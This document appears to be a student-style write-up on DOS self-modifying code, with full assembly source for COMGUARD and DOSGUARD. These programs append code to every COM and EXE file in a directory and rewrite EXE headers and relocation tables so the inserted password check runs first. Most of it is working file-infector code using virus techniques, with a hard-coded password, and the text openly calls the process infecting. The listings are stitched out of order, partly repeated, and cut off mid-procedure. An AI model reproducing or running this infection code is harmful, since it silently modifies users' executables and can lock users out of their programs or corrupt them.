;Check to see if file is already infected
;if it is, then skip it
cmp word ptr [obytes + 3], 'GC'
je NO_INFECT
;Make sure file isn't too large
mov ax, ds:[009Ah] ;Size of file
add ax, offset ENDGUARD - offset COMGUARD + 100h
jc NO_INFECT ;If ax overflows then don't infect
;If we made it this far then we know the file is safe to modify
call INFECT_COM
jmp NO_INFECT
EXE:
;Read the EXE Header
call READ_HEADER
jc NO_INFECT ;error reading file so skip it
;Make sure it hasn't already been infected
;If (initial CS * 16) + (size of EXEGUARD) + (size of header) == size
; then the file has already been infected
mov ax, word ptr [exehead+22]
mov dx, 16
mul dx
add ax, offset ENDGUARD2 - offset EXEGUARD
adc dx, 0
mov cx, word ptr [exehead+8]
add cx, cx
add cx, cx
add cx, cx
add cx, cx
add ax, cx
adc dx, 0
cmp ax, word ptr cs:[9Ah]
jne EXEOK
cmp dx, word ptr cs:[9Ch]
je NO_INFECT
EXEOK:
;Make sure Overlay Number is 0
cmp word ptr [exehead+26], 0
jnz NO_INFECT
;Make sure it is a DOS EXE (as opposed to windows or OS/2
cmp word ptr [exehead+24], 40h
jae NO_INFECT
call INFECT_EXE
NO_INFECT:
mov ax, 4F00h ;Find next file
int 21h
jmp SLOOP
DONE:
ret
;-------------------------------------------------------------------------
;Procedure to infect COM files
;-------------------------------------------------------------------------
INFECT_COM:
xor cx, cx ;cx = 0
xor dx, dx ;dx = 0
mov ax, 4202h ;Move file pointer to the end of file
int 21h
mov ax, 4000h ;Write the code to the end of file
mov dx, offset COMGUARD
mov cx, offset ENDGUARD - offset COMGUARD
int 21h
mov ax, 4200h ;Move file pointer to beginning of
xor cx, cx ; file to write jump
xor dx, dx
int 21h
;Prepare the jump instruction to be written to beginning of file
xor ax, ax
mov byte ptr [bytes], 0E9h ;opcode for jmp
mov ax, ds:[009Ah] ;size of the file
sub ax, 3 ;size of the jump instruction
mov word ptr [bytes + 1], ax;size of the jump
;Write the jump
mov cx, 5; ;size to be written
mov dx, offset bytes
mov ax, 4000h
int 21h
mov ah, 3Eh ;Close file
int 21h
ret
;-------------------------------------------------------------------------
;Procedure to infect EXE files
;-------------------------------------------------------------------------
INFECT_EXE:
;Check the relocation pointer table to see if there is
;room. If there isn't then we'll have to make room.
mov ax, word ptr [exehead+8];size of header in paragraphs
add ax, ax ;
add ax, ax ;Convert to double words.
sub ax, word ptr [exehead+6];Subtract # of entries each of
add ax, ax ;which is a double word and then
add ax, ax ;convert the final total to bytes.
sub ax, word ptr [exehead+24];If there are 8 bytes left after
cmp ax, 8 ;you subtract the offset to the
jc NOROOM ;reloc table then there is room.
jmp HAVEROOM
NOROOM:
;Not enough room in the relocation table so we are going to
;have to add a paragraph to the table. As a result, we must
;read in the whole file after the relocation table and write
;it back out one paragraph down in memory.
xor cx, cx ;Move the file pointer to the end of
mov dx, word ptr [exehead+24] ;the relocation pointer table.
mov ax, word ptr [exehead+6];size of relocation table in doubles
add ax, ax ;* 4 to get bytes
add ax, ax
add dx, ax ;add that to start of table
push dx
mov ax, 4200h
int 21h
pop dx
call CALC_SIZE
cmp cx, 1
je LASTPAGE
mov dx, offset buffer
call READ_PAGE
mov dx, offset para
call READ_PARA
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
je LASTPAGE
MOVELOOP:
mov dx, offset buffer + 16
call READ_PAGE
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
jne MOVELOOP
LASTPAGE:
sub word ptr [lps], 16
mov cx, word ptr [lps]
mov dx, offset buffer + 16
mov ah, 3Fh
int 21h
push cx
mov dx, cx
neg dx
mov cx, -1
mov ax, 4201h
int 21h
pop cx
add cx, 16
mov dx, offset buffer
mov ah, 40h
int 21h
;Got to adjust the file size since it will be used later
add word ptr cs:[9Ah], 16
adc word ptr cs:[9Ch], 0
;Increment the header size within the EXE header
add word ptr cs:[exehead+8], 1
;Change Page Count and Last Page Size in EXE header
cmp word ptr [exehead+2], 496
jae ADDPAGE
add word ptr [exehead+2], 16
jmp HAVEROOM
ADDPAGE:
;Adjust the header to add a page if the 16 additional bytes run
;over to a new page.
inc word ptr [exehead+4]
mov ax, 512
sub ax, word ptr [exehead+2]
mov dx, 16
sub dx, ax
mov word ptr [exehead+2], dx
HAVEROOM:
mov ax, word ptr [exehead+14] ;save orig stack segment
mov [hosts], ax
mov ax, word ptr [exehead+16] ;save orig stack pointer
mov [hosts+2], ax
mov ax, word ptr [exehead+20] ;save orig ip
mov [hostc], ax
mov ax, word ptr [exehead+22] ;save orig cs
mov [hostc+2], ax
mov cx, word ptr cs:[9Ch] ;adjust file length to paragraph
mov dx, word ptr cs:[9Ah] ; boundary
or dl, 0Fh
add dx, 1
adc cx, 0
mov cs:[9Ch], cx
mov cs:[9Ah], dx
mov ax, 4200h ;move file pointer to end of file
int 21h ;plus boundary
mov cx, offset ENDGUARD2 - offset EXEGUARD ;write code to end
mov dx, offset EXEGUARD ;of the exe file
mov ah, 40h
int 21h
xor cx, cx ;Move file pointer to beginning of file
xor dx, dx
mov ax, 4200h
int 21h
;adjust the EXE header and then write it back out
mov ax, word ptr cs:[9Ah] ;calculate module's CS
mov dx, word ptr cs:[9Ch] ;ax:dx contains orig file size
mov cx, 16 ;CS = file size / 16 - header size
div cx
sub ax, word ptr [exehead+8];header size in paragraphs
mov word ptr [exehead+22], ax ;ax is now initial cs
mov word ptr [exehead+14], ax ;ax is now initial ss
mov word ptr [exehead+20], 0 ;initial ip
mov word ptr [exehead+16], ENDGUARD2 - EXEGUARD + 100h ;initial sp
mov dx, word ptr cs:[9Ch] ;calculate new size file size
mov ax, word ptr cs:[9Ah]
add ax, offset ENDGUARD2 - offset EXEGUARD + 200h
adc dx, 0
mov cx, 200h
div cx
mov word ptr [exehead+4], ax
mov word ptr [exehead+2], dx
add word ptr [exehead+6], 2
mov cx, 1Ch ;Write out the new header
mov dx, offset exehead
mov ah, 40h
int 21h
;modify relocatables table
mov ax, word ptr [exehead+6];Get the # of relocatables
dec ax ;Position to add relocatable equals
dec ax ;(# - 2)*4 + table offset
mov cx, 4
mul cx
add ax, word ptr [exehead+24]
adc dx, 0
mov cx, dx
mov dx, ax
mov ax, 4200h ;move file pointer to position
int 21h
;Use exehead as a buffer for relocatables.
;Put two pointers in this buffer, first points to ss in
;hosts and second points to cs in hostc.
mov word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
mov ax, word ptr [exehead+22]
mov word ptr [exehead+2], ax
mov word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
mov word ptr [exehead+6], ax
mov cx, 8
mov dx, offset exehead
mov ah, 40h ;Write the 8 bytes.
int 21h
mov ah, 3Eh ;Close the file.
int 21h
ret ;Done!
;-------------------------------------------------------------------------
;Procedure to calculate the amount that needs to be written
;-------------------------------------------------------------------------
CALC_SIZE:
;dx holds the position in the file where we want to start reading.
;So, the amount to read in and write back out is equal to the size
;of the file minus dx.
mov cx, word ptr [exehead+2]
mov word ptr [lps], cx ;Copy Last Page Size into lps
mov cx, word ptr [exehead+4];Copy Num Pages into cx
cmp dx, word ptr [lps] ;If bytes to subtract are less than
jbe FINDLPS ;lps then just subtract them and exit
mov ax, dx
xor dx, dx
mov cx, 512
div cx ;ax = pages to subtract
mov cx, word ptr [exehead+4];dx = remainder to subtract from lps
sub cx, ax
cmp dx, word ptr [lps]
jbe FINDLPS
sub cx, 1
mov ax, dx
sub ax, word ptr [lps]
mov dx, 512
sub dx, ax
FINDLPS:
sub word ptr [lps], dx ;Subtract start position and leave
;Num Pages the same
ret
;-------------------------------------------------------------------------
;Procedure to read the EXE Header
;-------------------------------------------------------------------------
READ_HEADER:
xor cx, cx ;Move the file pointer back
xor dx, dx ;to the beginning of the file
mov ax, 4200h
int 21h
mov cx, 1Ch ;read exe header (28 bytes)
mov dx, offset exehead ;into buffer
mov ah, 3Fh
int 21h
ret ;return with cf set properly
;-------------------------------------------------------------------------
;Procedure to read a page
;-------------------------------------------------------------------------
READ_PAGE:
push ax
push cx
mov ah, 3Fh
mov cx, 512
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to read a paragraph
;-------------------------------------------------------------------------
READ_PARA:
push ax
push cx
mov ah, 3Fh
mov cx, 16
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a page
;-------------------------------------------------------------------------
WRITE_PAGE:
push ax
push cx
push dx
mov ah, 40h
mov cx, 512
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a paragraph
;-------------------------------------------------------------------------
WRITE_PARA:
push ax
push cx
push dx
mov ah, 40h
mov cx, 16
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a page
;-------------------------------------------------------------------------
DECFP_PAGE:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -512
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a para
;-------------------------------------------------------------------------
DEC_PARA:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -16
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move the paragraph buffer to the front
;-------------------------------------------------------------------------
MOVE_PARA:
push cx
mov si, offset para
mov di, offset buffer
mov cx, 16
rep movsb
pop cx
ret
;-------------------------------------------------------------------------
;Code to add to COM files
;-------------------------------------------------------------------------
COMGUARD:
call GET_START
GET_START:
pop bp
sub bp, offset GET_START
mov ah, 9h ;DOS print string
lea dx, [bp + prompt] ;Print the password prompt
int 21h
lea di, [bp + guess]
xor cx, cx
READLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je CHECKPASS
cmp al, 13 ;Quit loop when CR read
jne READLOOP
CHECKPASS:
lea di, [bp + guess] ;Setup for passwd checking loop
lea si, [bp +passwd] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
CHECKLOOP:
cmpsb ;Compare passwd with guess
jne FAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne CHECKLOOP ;Loop until you've read first 8
SUCCESS:
mov cx, 5
cld
lea si, [bp + obytes]
mov di, 100h
rep movsb
push 100h ;return from the jump to execute
ret ;the host program
FAIL:
mov ah, 9h ;DOS print string
lea dx, [bp + badpass] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
prompt DB 'password: ','$'
badpass DB 'Invalid password!','$'
passwd DB 'smcrocks'
guess DB 10 dup (0)
obytes DB 0,0,0,0,0
ENDGUARD:
;-------------------------------------------------------------------------
;Code to add to EXE files
;-------------------------------------------------------------------------
EXEGUARD:
push ax ;Save startup value in ax
push ds ;Save value of ds
mov ax, cs ;Put cs into ds and es
mov ds, ax
mov es, ax
mov bp, offset ENDGUARD2 - offset EXEGUARD
mov ax, [bp-4]
mov ah, 9h ;DOS print string
lea dx, [bp-57] ;Print the password prompt
int 21h
lea di, [bp-20]
xor cx, cx
EREADLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je ECHECKPASS
cmp al, 13 ;Quit loop when CR read
jne EREADLOOP
ECHECKPASS:
lea di, [bp-20] ;Setup for passwd checking loop
lea si, [bp-28] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
ECHECKLOOP:
cmpsb ;Compare passwd with guess
jne EFAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne ECHECKLOOP ;Loop until you've read first 8
ESUCCESS:
pop ds
mov ax, ds
mov es, ax
pop ax
cli
mov ss, word ptr cs:[bp-10]
mov sp, word ptr cs:[bp-8]
sti
xor cx, cx
xor dx, dx
xor bp, bp
xor si, si
xor di, di
lahf
xor ah, ah
sahf
jmp dword ptr cs:[ENDGUARD2-EXEGUARD-6]
EFAIL:
mov ah, 9h ;DOS print string
lea dx, [bp-46] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
eprompt DB 'password: ','$'
ebadpass DB 'Invalid password!','$'
epasswd DB 'smcrocks'
eguess DB 10 dup (0)
hosts DW 0, 0
hostc DW 0, 0
delta DW 0
ENDGUARD2:
filter1 DB '*.com',0
filter2 DB '*.exe',0
bytes DB 0,0,0,'CG'
exehead DB 28 dup (0)
buffer DB 512 dup (0)
para DB 16 dup (0)
lps DW 0
END START
---------------------------END DOSGUARD.ASM------------------------------------
OBJECTIVE
To learn the basic techniques required to modify the code segment of
a DOS COM file and to write a program with a practical application
that does so.
PROGRAM DESCRIPTION
The program COMGUARD.COM is DOS application which modifies the code
segment of every other COM file in the same directory. COMGUARD
adds code to each of these programs that requires the user to enter
a password in order to continue execution of the program.
STRUCTURE OF COM FILES
Unlike the EXE file format, the programmer has no input into the
segment format of COM files. All COM files consist of 1 segment
only, with no defined distinction between data and code. After
DOS finishes some preparatory work, the COM file is loaded at
offset 100h. The first 256 bytes are known as the Program Segment
Prefix(PSP). Located at offset 80h is an important data structure
called the DTA or Data Transfer Area. The DTA is important, but
most of the rest of the PSP can be ignored by the programmer.
Before actually starting execution of the COM program, DOS sets
up the stack at the top of the segment.
OUTLINE OF COMGUARD'S EXECUTION
1. Search for files in current directory ending in ".com".
2. Open the file and read 1st 5 bytes.
3. Check to see if the file has already been modified by COMGUARD
by checking if the values of the 4th and 5th bytes match the
COMGUARD identification string of "CG".
4. Make sure the file is not really an EXE file because after
DOS 6.0 some files ending in ".com" were really EXEs.
5. Make sure the file is not so large that when COMGUARD adds its
code it doesn't exceed the 64k segment size.
6. If the file passes 3-5 then its ok to modify, so COMGUARD opens
it and writes the authentication code to the end of the file.
7. Calculate the size of the jump to the authentication code and
write the jump instruction along with the identificatioin
string to the beginning of the file.
8. Jump to step #1 and repeat until all files in the current
directory have been checked.
OUTLINE OF A MODIFIED PROGRAM'S EXECUTION
1. Jump to the authentication code at the end of the program body.
2. Calculate what virus writers call the Delta Offset. This is
necessary because data is always referenced by absolute
addresses which will change with every program COMGUARD infects.
3. Ask for the password and if the answer is wrong, then quit to
DOS.
4. If the password is correct, then restore the first 5 bytes of the
file and continue execution from there just like COMGUARD never
existed.
NEXT STEP
Add the capability to modify the EXE file format as well.
.model tiny
.code
ORG 100h
START:
jmp BEGINCODE ;Jump the identification string
DB 'CG'
BEGINCODE:
mov ah, 4Eh ;Search for files matching filter
mov dx, offset filter
int 21h
SLOOP:
jc DONE
mov ax, 3D02h ;Open file R/W
mov dx, 9Eh ;Filename, stored in DTA
int 21h
mov bx, ax ;Save file handle in bx
mov ax, 3F00h ;Read first 5 bytes from file
mov cx, 5
mov dx, offset obytes
int 21h
;Check to see if file is already infected
;if it is, then skip it
cmp word ptr [obytes + 3], 'GC'
je NOINFECT
;Check to see if file is really an EXE
cmp word ptr[obytes], 'ZM'
je NOINFECT
;Make sure file isn't too large
mov ax, ds:[009Ah] ;Size of file
add ax, offset ENDGUARD - offset COMGUARD + 100h
jc NOINFECT ;If ax overflows then don't infect
;If we made it this far then we know the file is safe to modify
xor cx, cx ;cx = 0
xor dx, dx ;dx = 0
mov ax, 4202h ;Move file pointer to the end of file
int 21h
mov ax, 4000h ;Write the code to the end of file
mov dx, offset COMGUARD
mov cx, offset ENDGUARD - offset COMGUARD
int 21h
mov ax, 4200h ;Move file pointer to beginning of
xor cx, cx ; file to write jump
xor dx, dx
int 21h
;Prepare the jump instruction to be written to beginning of file
xor ax, ax
mov byte ptr [bytes], 0E9h ;opcode for jmp
mov ax, ds:[009Ah] ;size of the file
sub ax, 3 ;size of the jump instruction
mov word ptr [bytes + 1], ax;size of the jump
;Write the jump
mov cx, 5; ;size to be written
mov dx, offset bytes
mov ax, 4000h
int 21h
mov ah, 3Eh ;Close file
int 21h
NOINFECT:
mov ax, 4F00h ;Find next file
int 21h
jmp SLOOP
DONE:
mov ax, 4C00h ;DOS terminate
int 21h
COMGUARD:
call GET_START
GET_START:
pop bp
sub bp, offset GET_START
mov ah, 9h ;DOS print string
lea dx, [bp + prompt] ;Print the password prompt
int 21h
lea di, [bp + guess]
xor cx, cx
READLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je CHECKPASS
cmp al, 13 ;Quit loop when CR read
jne READLOOP
CHECKPASS:
lea di, [bp + guess] ;Setup for passwd checking loop
lea si, [bp +passwd] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
CHECKLOOP:
cmpsb ;Compare passwd with guess
jne FAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne CHECKLOOP ;Loop until you've read first 8
SUCCESS:
mov cx, 5
cld
lea si, [bp + obytes]
mov di, 100h
rep movsb
push 100h ;return from the jump to execute
ret ;the host program
FAIL:
mov ah, 9h ;DOS print string
lea dx, [bp + badpass] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
prompt DB 'password: ','$'
badpass DB 'Invalid password!','$'
passwd DB 'smcrocks'
guess DB 10 dup (0)
obytes DB 0,0,0,0,0
ENDGUARD:
filter DB '*.com',0
bytes DB 0,0,0,'CG'
END START
SELF-MODIFYING CODE PROJECT 2
OBJECTIVE
To learn the basic techniques required to modify the code segment of
a DOS EXE file and to write a program with a practical application
that does so.
PROGRAM DESCRIPTION
The program DOSGUARD.COM is a DOS application which modifies the code
segment of every COM and EXE file in the same directory. DOSGUARD
adds code to each of these programs that requires the user to enter
a password in order to continue execution of the program.
STRUCTURE OF EXE FILES
The EXE file format is much more complicated than the COM format.
The big differnece is that EXE files allow the program to specify
how it wants its segments to be laid out in memory, allowing
programs to exceed one 64k segment in size. Most EXEs will have
seperate code, data, and stack segments.
All of this information is stored in the EXE Header. Here's a brief
rundown of what the header looks like:
Offset Size Field
0 2 Signature. Will always be 'MZ'
2 2 Last Page Size. Number of bytes on the last
page of memory.
4 2 Page Count. Number of 512 byte pages in the file.
6 2 Relocation Table Entries. Number of items in the
relocation pointer table.
8 2 Header Size. Size of header in paragraphs,
including the relocation pointer table.
10 2 Minalloc
12 2 Maxalloc
14 2 Initial Stack Segment.
16 2 Initial Stack Pointer.
18 2 Checksum. (Usually ignored)
20 2 Initial Instruction Pointer
22 2 Initial Code Segment
24 2 Relocation Table Offset. Offset to the start of
the relocation pointer table.
26 2 Overlay Number. Primary executables(the ones we
wish to modify) always have this set to zero.
Following the EXE header is the relocation pointer table, with a
variable amount of blank space between the header and the start of the
table. The relocation table is a table of offsets. These offsets are
combined with starting segment values calculated by DOS to point to a word
in memory where the final segment address is written. Essentially, the
relocation pointer table is DOS's way to handle the dynamic placement of
segments into physical memory. This isn't a problem with COM files
because there is only one segment and the program isn't aware of anything
else. Following the relocation pointer table is another variable amount
of reserved space and finally the program body.
To succesfully add code to an EXE file requires careful manipulation of
the EXE header and relocation pointer table.
BRIEF DESCRIPTION OF DOSGUARD
DOSGUARD is a small DOS utility that adds code to all DOS EXE and COM files
within the same directory it inhabits. DOSGUARD will skip over windows
and OS/2 executables and will only modify those COM files which have
enough available space. Also, it avoids modifying itself and files which
it has already changed. Successfully modified files will prompt the user
to enter a password before running the program. DOSGUARD serves as a
good example of the steps necessary to add modify the code of a DOS EXE
file. Also, it demonstrates one practical application of code modification.
BRIEF OVERVIEW OF DOSGUARD'S EXECUTION
DOSGUARD begins by finding and infecting all the COM files in the same
directory. This document will ignore the details of COM file modification
as that subject is covered sufficiently in the documentation of DOSGUARD's
little brother COMGUARD. DOSGUARD borrow its COM file code directly from
COMGUARD.
Next, DOSGUARD has to search for EXE files and determine which ones it can
safely modify. First of all, it checks the first 2 bytes of the file to
make sure that they are 'MZ', the signature which all EXE files have in
common. After that, DOSGUARD ensures that the file hasn't already been
infected. If the following caluation is true, then the file has already
been modified by DOSGUARD:
(initial CS * 16) + 9Fh + size of EXE header in bytes == filesize
9Fh is the length(in bytes) of the code that DOSGUARD adds to the end of
each EXE file it infects. So, the initial CS which is stored in the EXE
header, combined with the initial IP(which is always zero in this case so
it is left out of the calculation) is exactly 9Fh bytes from the end of the
file. Those 2 figures plus the size of the EXE header(which is ignored by
the program when it determines segment offsets) equals the size of the file
if it has already been infected by DOSGUARD. Also, DOSGUARD only infects
primary executables, so it checks to make sure the Overlay Number in the
EXE header is zero.
DOSGUARD also must avoid non-DOS executables like those for Windows or OS/2.
DOSGUARD does this by checking the offset to the relocation pointer table.
If the offset is greater than 40h, then the EXE could possibly be for
windows or OS/2. The problem with this method is that it also causes
DOSGUARD to skip some valid DOS executables.
Once a file has been deemed safe to modify, DOSGUARD copies its code to the
end of the file and determines the starting CS and IP for this code. These
values will become the new starting segment values, so the new code will be
executed before the main program. When the infected program is finished
executing, it will jump to the original starting CS and IP if the proper
password was given and execute the main program.
STEP-BY-STEP MODIFICATION OF AN EXE FILE
1. Check the relocation pointer table to make sure there is room.
DOSGUARD has to add 2 entries to the relocation pointer table. Each of
these pointers is a double word(4 bytes). Since the relocation pointer
table is part of the EXE header and the header can't be a fraction of a
paragraph in size, there is a chance that the header will have to be
extended one paragraph in order to fit the extra 8 bytes. Extending the
header requires reading in the entire file below the header and writing
it back out one paragraph down. Also, the header will have to be modified
appropriately(Last Page Size, Page Count, and Header Size will need to be
updated). In either case, the number of relocation table entries will need
to be increased by two in the header.
2. Save original ss, sp, cs, and ip.
These four values must be copied from the EXE header and stored within the
code which will be added to the EXE file.
3. Adjust file length to paragraph boundary.
In order to simplify the new code's starting IP, the file's length is
extended to a paragraph boundary(multiple of 16). This causes the new code's
staring IP to always be zero and makes it easier to calculate the starting
code segment.
4. Write code to the end of the file.
Write the code we want to add to the end of the EXE file.
5. Adjust the EXE header and write it out to the file.
Make modifications to the EXE heder to reflect the changes we've made:
initial CS = (file size before we added our code) / 16 - (header size in paragraphs)
initial IP = 0
initlal SS = same as the initial CS (all of our code operates in one segment)
initial SP = size of the code we added + 100h
recalculate Last Page Size and Page Count
increase relocation table entires by 2
6. Modify relocation table
We'll be adding two 4 byte pointers to the end of the relocation table. The
segment for both of these pointers will be the same as the initial CS of our
code. The offsets will point to the initial SS and initial CS. In
DOSGUARD they correspond to the offsets "hosts" and "hostc+2". So the end
result are two pointers which point to the location of the initial SS and
the initial CS of our code.
RESPONSIBILITIES OF INSERTED CODE
There are several items which the code module we added must take into
consideration. First of all, when its finished, the state of registers, etc.
must be exactly what the original program would expect them to be. For
instance, ax is set by DOS to indicate whether or not the Drive ID stored in
the FCBs is valid. So, the value of ax must be preserved by our code. Also,
the original program may expect other registers to be set to initial values
of zero. And of course, the segment registers need to be restored after our
code's execution.
Another thing is that inserted code can't be dependent on absolute addresses
for its data. Therefore, DOSGUARD accesses all data by its offset from the
end of the file.
REFERENCES
The Giant Black Book of Computer Viruses, 2nd Edition. Mark Ludwig
DOS Programmer's Reference. Terry R. Dettmann
.model tiny
.code
ORG 100h
START:
jmp BEGINCODE ;Jump the identification string
DB 'CG'
BEGINCODE:
mov dx, offset filter1
call FIND_FILES
mov dx, offset filter2
call FIND_FILES
mov ax, 4C00h ;DOS terminate
int 21h
;-------------------------------------------------------------------------
;Procedure to find and then infect files
;-------------------------------------------------------------------------
FIND_FILES:
mov ah, 4Eh ;Search for files matching filter
int 21h
SLOOP:
jc DONE
mov ax, 3D02h ;Open file R/W
mov dx, 9Eh ;Filename, stored in DTA
int 21h
mov bx, ax ;Save file handle in bx
mov ax, 3F00h ;Read first 5 bytes from file
mov cx, 5
mov dx, offset obytes
int 21h
;Check to see if file is really an EXE
cmp word ptr[obytes], 'ZM'
je EXE
COM:
;Check to see if file is already infected
;if it is, then skip it
cmp word ptr [obytes + 3], 'GC'
je NO_INFECT
;Make sure file isn't too large
mov ax, ds:[009Ah] ;Size of file
add ax, offset ENDGUARD - offset COMGUARD + 100h
jc NO_INFECT ;If ax overflows then don't infect
;If we made it this far then we know the file is safe to modify
call INFECT_COM
jmp NO_INFECT
EXE:
;Read the EXE Header
call READ_HEADER
jc NO_INFECT ;error reading file so skip it
;Make sure it hasn't already been infected
;If (initial CS * 16) + (size of EXEGUARD) + (size of header) == filesize
; then the file has already been infected
mov ax, word ptr [exehead+22]
mov dx, 16
mul dx
add ax, offset ENDGUARD2 - offset EXEGUARD
adc dx, 0
mov cx, word ptr [exehead+8]
add cx, cx
add cx, cx
add cx, cx
add cx, cx
add ax, cx
adc dx, 0
cmp ax, word ptr cs:[9Ah]
jne EXEOK
cmp dx, word ptr cs:[9Ch]
je NO_INFECT
EXEOK:
;Make sure Overlay Number is 0
cmp word ptr [exehead+26], 0
jnz NO_INFECT
;Make sure it is a DOS EXE (as opposed to windows or OS/2
cmp word ptr [exehead+24], 40h
jae NO_INFECT
call INFECT_EXE
NO_INFECT:
mov ax, 4F00h ;Find next file
int 21h
jmp SLOOP
DONE:
ret
;-------------------------------------------------------------------------
;Procedure to infect COM files
;-------------------------------------------------------------------------
INFECT_COM:
xor cx, cx ;cx = 0
xor dx, dx ;dx = 0
mov ax, 4202h ;Move file pointer to the end of file
int 21h
mov ax, 4000h ;Write the code to the end of file
mov dx, offset COMGUARD
mov cx, offset ENDGUARD - offset COMGUARD
int 21h
mov ax, 4200h ;Move file pointer to beginning of
xor cx, cx ; file to write jump
xor dx, dx
int 21h
;Prepare the jump instruction to be written to beginning of file
xor ax, ax
mov byte ptr [bytes], 0E9h ;opcode for jmp
mov ax, ds:[009Ah] ;size of the file
sub ax, 3 ;size of the jump instruction
mov word ptr [bytes + 1], ax;size of the jump
;Write the jump
mov cx, 5; ;size to be written
mov dx, offset bytes
mov ax, 4000h
int 21h
mov ah, 3Eh ;Close file
int 21h
ret
;-------------------------------------------------------------------------
;Procedure to infect EXE files
;-------------------------------------------------------------------------
INFECT_EXE:
;Check the relocation pointer table to see if there is
;room. If there isn't then we'll have to make room.
mov ax, word ptr [exehead+8];size of header in paragraphs
add ax, ax ;
add ax, ax ;Convert to double words.
sub ax, word ptr [exehead+6];Subtract # of entries each of
add ax, ax ;which is a double word and then
add ax, ax ;convert the final total to bytes.
sub ax, word ptr [exehead+24];If there are 8 bytes left after
cmp ax, 8 ;you subtract the offset to the
jc NOROOM ;reloc table then there is room.
jmp HAVEROOM
NOROOM:
;Not enough room in the relocation table so we are going to
;have to add a paragraph to the table. As a result, we must
;read in the whole file after the relocation table and write
;it back out one paragraph down in memory.
xor cx, cx ;Move the file pointer to the end of
mov dx, word ptr [exehead+24] ;the relocation pointer table.
mov ax, word ptr [exehead+6];size of relocation table in doubles
add ax, ax ;* 4 to get bytes
add ax, ax
add dx, ax ;add that to start of table
push dx
mov ax, 4200h
int 21h
pop dx
call CALC_SIZE
cmp cx, 1
je LASTPAGE
mov dx, offset buffer
call READ_PAGE
mov dx, offset para
call READ_PARA
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
je LASTPAGE
MOVELOOP:
mov dx, offset buffer + 16
call READ_PAGE
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
jne MOVELOOP
LASTPAGE:
sub word ptr [lps], 16
mov cx, word ptr [lps]
mov dx, offset buffer + 16
mov ah, 3Fh
int 21h
push cx
mov dx, cx
neg dx
mov cx, -1
mov ax, 4201h
int 21h
pop cx
add cx, 16
mov dx, offset buffer
mov ah, 40h
int 21h
;Got to adjust the file size since it will be used later
add word ptr cs:[9Ah], 16
adc word ptr cs:[9Ch], 0
;Increment the header size within the EXE header
add word ptr cs:[exehead+8], 1
;Change Page Count and Last Page Size in EXE header
cmp word ptr [exehead+2], 496
jae ADDPAGE
add word ptr [exehead+2], 16
jmp HAVEROOM
ADDPAGE:
;Adjust the header to add a page if the 16 additional bytes run
;over to a new page.
inc word ptr [exehead+4]
mov ax, 512
sub ax, word ptr [exehead+2]
mov dx, 16
sub dx, ax
mov word ptr [exehead+2], dx
HAVEROOM:
mov ax, word ptr [exehead+14] ;save orig stack segment
mov [hosts], ax
mov ax, word ptr [exehead+16] ;save orig stack pointer
mov [hosts+2], ax
mov ax, word ptr [exehead+20] ;save orig ip
mov [hostc], ax
mov ax, word ptr [exehead+22] ;save orig cs
mov [hostc+2], ax
mov cx, word ptr cs:[9Ch] ;adjust file length to paragraph
mov dx, word ptr cs:[9Ah] ; boundary
or dl, 0Fh
add dx, 1
adc cx, 0
mov cs:[9Ch], cx
mov cs:[9Ah], dx
mov ax, 4200h ;move file pointer to end of file
int 21h ;plus boundary
mov cx, offset ENDGUARD2 - offset EXEGUARD ;write code to end
mov dx, offset EXEGUARD ;of the exe file
mov ah, 40h
int 21h
xor cx, cx ;Move file pointer to beginning of file
xor dx, dx
mov ax, 4200h
int 21h
;adjust the EXE header and then write it back out
mov ax, word ptr cs:[9Ah] ;calculate module's CS
mov dx, word ptr cs:[9Ch] ;ax:dx contains orig file size
mov cx, 16 ;CS = file size / 16 - header size
div cx
sub ax, word ptr [exehead+8];header size in paragraphs
mov word ptr [exehead+22], ax ;ax is now initial cs
mov word ptr [exehead+14], ax ;ax is now initial ss
mov word ptr [exehead+20], 0 ;initial ip
mov word ptr [exehead+16], offset ENDGUARD2 - offset EXEGUARD + 100h ;initial sp
mov dx, word ptr cs:[9Ch] ;calculate new size file size
mov ax, word ptr cs:[9Ah]
add ax, offset ENDGUARD2 - offset EXEGUARD + 200h
adc dx, 0
mov cx, 200h
div cx
mov word ptr [exehead+4], ax
mov word ptr [exehead+2], dx
add word ptr [exehead+6], 2
